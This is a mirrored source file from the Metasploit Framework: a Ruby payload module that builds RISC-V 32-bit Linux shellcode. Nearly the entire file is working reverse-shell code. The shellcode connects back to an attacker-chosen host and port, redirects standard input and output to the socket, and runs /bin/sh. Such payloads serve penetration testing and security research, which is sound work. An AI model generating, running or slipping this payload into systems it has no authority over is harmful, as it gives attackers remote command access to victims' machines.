Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/payloads/singles/linux/riscv32le/shell_reverse_tcp.rb
27932 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
module MetasploitModule
7
CachedSize = 156
8
9
include Msf::Payload::Single
10
include Msf::Payload::Linux
11
include Msf::Sessions::CommandShellOptions
12
13
SYS_SOCKET = 198
14
SYS_CONNECT = 203
15
SYS_DUP3 = 24
16
SYS_EXECVE = 221
17
AF_INET = 2
18
SOCK_STREAM = 1
19
IPPROTO_IP = 0
20
21
def initialize(info = {})
22
super(
23
merge_info(
24
info,
25
'Name' => 'Linux Command Shell, Reverse TCP Inline',
26
'Description' => 'Connect back to attacker and spawn a command shell.',
27
'Author' => [
28
'modexp', # connect.s RISC-V 64-bit shellcode
29
'bcoles', # RISC-V 32-bit shellcode port and metasploit
30
],
31
'License' => BSD_LICENSE,
32
'Platform' => 'linux',
33
'Arch' => [ ARCH_RISCV32LE ],
34
'References' => [
35
['URL', 'https://modexp.wordpress.com/2022/05/02/shellcode-risc-v-linux/'],
36
['URL', 'https://web.archive.org/web/20230326161514/https://github.com/odzhan/shellcode/commit/d3ee25a6ebcdd21a21d0e6eccc979e45c24a9a1d'],
37
],
38
'Handler' => Msf::Handler::ReverseTcp,
39
'Session' => Msf::Sessions::CommandShellUnix
40
)
41
)
42
end
43
44
# Encode a RISC-V LUI (Load Upper Immediate) instruction
45
def encode_lui(rd, imm20)
46
0b0110111 | ((imm20 & 0xfffff) << 12) | (rd << 7)
47
end
48
49
# Encode a RISC-V ADDI (Add Immediate) instruction
50
def encode_addi(rd, rs1, imm12)
51
0b0010011 | ((imm12 & 0xfff) << 20) | (rs1 << 15) | (0b000 << 12) | (rd << 7)
52
end
53
54
# Emit RISC-V instruction words that build an arbitrary 32-bit constant in a chosen register using LUI+ADDI.
55
def load_const_into_reg32(const, rd)
56
raise ArgumentError, "Constant '#{const}' is #{const.class}; not Integer" unless const.is_a?(Integer)
57
58
max_const = 0xFFFF_FFFF
59
60
raise ArgumentError, "Constant #{const} is outside range 0..#{max_const}" unless const.between?(0, max_const)
61
62
if const >= -2048 && const <= 2047
63
return [encode_addi(rd, 0, const)]
64
end
65
66
upper = (const + 0x800) >> 12
67
low = const & 0xfff
68
[
69
encode_lui(rd, upper),
70
encode_addi(rd, rd, low)
71
]
72
end
73
74
def generate(_opts = {})
75
lhost = datastore['LHOST'] || '127.127.127.127'
76
lport = datastore['LPORT'].to_i
77
78
raise ArgumentError, 'LHOST must be in IPv4 format.' unless Rex::Socket.is_ipv4?(lhost)
79
80
encoded_host = Rex::Socket.addr_aton(lhost).unpack1('V')
81
encoded_port = [lport].pack('n').unpack1('v')
82
83
shellcode = [
84
# prepare stack
85
0xfe010113, # addi sp,sp,-32
86
87
# s = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
88
*load_const_into_reg32(SYS_SOCKET, 17), # li a7,198 # SYS_socket
89
*load_const_into_reg32(IPPROTO_IP, 12), # li a2,0 # IPPROTO_IP
90
*load_const_into_reg32(SOCK_STREAM, 11), # li a1,1 # SOCK_STREAM
91
*load_const_into_reg32(AF_INET, 10), # li a0,2 # AF_INET
92
0x00000073, # ecall
93
94
# connect(s, &sa, sizeof(sa));
95
0x00050693, # mv a3,a0 # a3 = s
96
*load_const_into_reg32(SYS_CONNECT, 17), # li a7,203 # SYS_connect
97
*load_const_into_reg32(16, 12), # li a2,16 # sizeof(sockaddr_in)
98
0x00200293, # li t0,2 # AF_INET
99
0x00511023, # sh t0,0(sp) # sin_family
100
*load_const_into_reg32(encoded_port, 5),
101
0x00511123, # sh t0,2(sp) # sin_port
102
*load_const_into_reg32(encoded_host, 5),
103
0x00512223, # sw t0,4(sp) # sin_addr
104
0x00012423, # sw 0,8(sp) # padding
105
0x00012623, # sw 0,12(sp) # padding
106
0x00010593, # mv a1,sp # a1 = &sa
107
0x00000073, # ecall
108
109
# dup stdin/stdout/stderr
110
*load_const_into_reg32(SYS_DUP3, 17), # li a7,24 # SYS_dup3
111
*load_const_into_reg32(3, 11), # li a1,3 # start from STDERR_FILENO + 1 = 3
112
# c_dup:
113
*load_const_into_reg32(0, 12), # li a2,0
114
0x00068513, # mv a0,a3
115
0xfff58593, # addi a1,a1,-1
116
0x00000073, # ecall
117
0xfe0598e3, # bnez a1,100b0 <c_dup>
118
119
# execve("/bin/sh", NULL, NULL);
120
0x0dd00893, # li a7,221
121
*load_const_into_reg32(0x6e69622f, 5), # "/bin"
122
0x00512023, # sw t0,0(sp)
123
*load_const_into_reg32(0x0068732f, 5), # "/sh\0"
124
0x00512223, # sw t0,4(sp)
125
0x00010513, # mv a0,sp # path = /bin/sh
126
0x00000593, # li a1,0 # argv = NULL
127
0x00000613, # li a2,0 # envp = NULL
128
0x00000073 # ecall
129
].pack('V*')
130
131
# align our shellcode to 4 bytes
132
shellcode += "\x00" while shellcode.bytesize % 4 != 0
133
134
super.to_s + shellcode
135
end
136
end
137
138